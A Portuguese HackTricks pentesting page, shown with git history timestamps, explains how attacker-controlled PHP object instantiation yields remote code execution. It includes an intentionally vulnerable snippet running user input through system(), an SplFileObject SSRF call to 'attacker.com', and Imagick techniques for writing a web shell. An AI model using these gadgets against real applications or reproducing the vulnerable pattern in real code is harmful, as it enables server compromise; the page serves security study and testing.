hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md

121 lines
6.9 KiB
Markdown
Raw Normal View History

# PHP - RCE abusando da criação de objetos: new $\_GET\["a"]\($\_GET\["b"])
2022-08-04 10:07:55 +00:00
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-08-04 10:07:55 +00:00
Outras maneiras de apoiar o HackTricks:
2022-08-04 10:07:55 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) do github.
2022-08-04 10:07:55 +00:00
</details>
Este é basicamente um resumo de [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
2022-08-04 10:07:55 +00:00
## Introdução
2022-08-04 10:07:55 +00:00
A criação de novos objetos arbitrários, como `new $_GET["a"]($_GET["a"])`, pode levar à Execução Remota de Código (RCE), conforme detalhado em um [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento destaca várias estratégias para alcançar RCE.
2022-08-04 10:07:55 +00:00
## RCE via Classes Personalizadas ou Carregamento Automático
2022-08-04 10:07:55 +00:00
A sintaxe `new $a($b)` é usada para instanciar um objeto onde **`$a`** representa o nome da classe e **`$b`** é o primeiro argumento passado para o construtor. Essas variáveis podem ser provenientes de entradas do usuário como GET/POST, onde podem ser strings ou arrays, ou de JSON, onde podem se apresentar como outros tipos.
2022-08-04 10:07:55 +00:00
Considere o trecho de código abaixo:
2022-08-04 10:07:55 +00:00
```php
class App {
function __construct ($cmd) {
system($cmd);
}
2022-08-04 10:07:55 +00:00
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
2022-08-04 10:07:55 +00:00
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
```
Neste caso, definir `$a` como `App` ou `App2` e `$b` como um comando de sistema (por exemplo, `uname -a`) resulta na execução desse comando.
2022-08-04 10:07:55 +00:00
**Funções de carregamento automático** podem ser exploradas se nenhuma dessas classes for diretamente acessível. Essas funções carregam automaticamente classes de arquivos quando necessário e são definidas usando `spl_autoload_register` ou `__autoload`:
2022-08-04 10:07:55 +00:00
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
2022-08-04 10:07:55 +00:00
});
function __autoload($class_name) {
include $class_name . '.php';
2022-08-04 10:07:55 +00:00
};
spl_autoload_register();
```
O comportamento do carregamento automático varia com as versões do PHP, oferecendo diferentes possibilidades de RCE.
2022-08-04 10:07:55 +00:00
## RCE via Classes Internas
2022-08-04 10:07:55 +00:00
A falta de classes personalizadas ou autoloaders pode ser suficiente para RCE. O número dessas classes varia entre 100 e 200, com base na versão do PHP e extensões. Elas podem ser listadas usando `get_declared_classes()`.
2022-08-04 10:07:55 +00:00
Os construtores de interesse podem ser identificados por meio da API de reflexão, conforme mostrado no exemplo a seguir e no link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
2022-08-04 10:07:55 +00:00
**RCE via métodos específicos inclui:**
2022-08-04 10:07:55 +00:00
### **SSRF + Desserialização Phar**
2022-08-04 10:07:55 +00:00
A classe `SplFileObject` permite SSRF por meio de seu construtor, permitindo conexões com qualquer URL:
```php
2022-08-04 10:07:55 +00:00
new SplFileObject('http://attacker.com/');
```
SSRF pode levar a ataques de desserialização em versões do PHP anteriores a 8.0 usando o protocolo Phar.
2022-08-04 10:07:55 +00:00
2023-06-06 18:56:34 +00:00
### **Explorando PDOs**
2022-08-04 10:07:55 +00:00
O construtor da classe PDO permite conexões a bancos de dados via strings DSN, potencialmente permitindo a criação de arquivos ou outras interações:
2022-08-04 10:07:55 +00:00
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
Versões do PHP até 5.3.22 e 5.4.12 eram suscetíveis a ataques XXE através dos construtores `SoapClient` e `SimpleXMLElement`, dependendo da versão do libxml2.
2022-08-04 10:07:55 +00:00
2023-06-06 18:56:34 +00:00
## RCE via Extensão Imagick
2022-08-04 10:07:55 +00:00
Na análise das **dependências de um projeto**, foi descoberto que o **Imagick** poderia ser utilizado para **execução de comandos** por meio da criação de novos objetos. Isso apresenta uma oportunidade para explorar vulnerabilidades.
2022-08-04 10:07:55 +00:00
2023-06-06 18:56:34 +00:00
### Analisador VID
2022-08-04 10:07:55 +00:00
Foi identificada a capacidade do analisador VID de escrever conteúdo em qualquer caminho especificado no sistema de arquivos. Isso poderia resultar na colocação de um shell PHP em um diretório acessível via web, alcançando a Execução Remota de Código (RCE).
2022-08-04 10:55:21 +00:00
2023-06-06 18:56:34 +00:00
#### Analisador VID + Upload de Arquivo
2022-08-04 10:55:21 +00:00
Observa-se que o PHP armazena temporariamente arquivos enviados em `/tmp/phpXXXXXX`. O analisador VID no Imagick, utilizando o protocolo **msl**, pode lidar com curingas em caminhos de arquivos, facilitando a transferência do arquivo temporário para um local escolhido. Este método oferece uma abordagem adicional para alcançar a escrita de arquivos arbitrários no sistema de arquivos.
2022-08-04 10:55:21 +00:00
### PHP Crash + Força Bruta
2022-08-04 10:55:21 +00:00
Um método descrito no [**artigo original**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) envolve o envio de arquivos que causam uma falha no servidor antes da exclusão. Ao forçar o nome do arquivo temporário, torna-se possível para o Imagick executar código PHP arbitrário. No entanto, essa técnica foi considerada eficaz apenas em uma versão desatualizada do ImageMagick.
2022-08-04 10:55:21 +00:00
2023-06-06 18:56:34 +00:00
## Referências
2022-08-04 10:55:21 +00:00
* [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
2022-08-04 10:07:55 +00:00
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-08-04 10:07:55 +00:00
Outras formas de apoiar o HackTricks:
2022-08-04 10:07:55 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-08-04 10:07:55 +00:00
</details>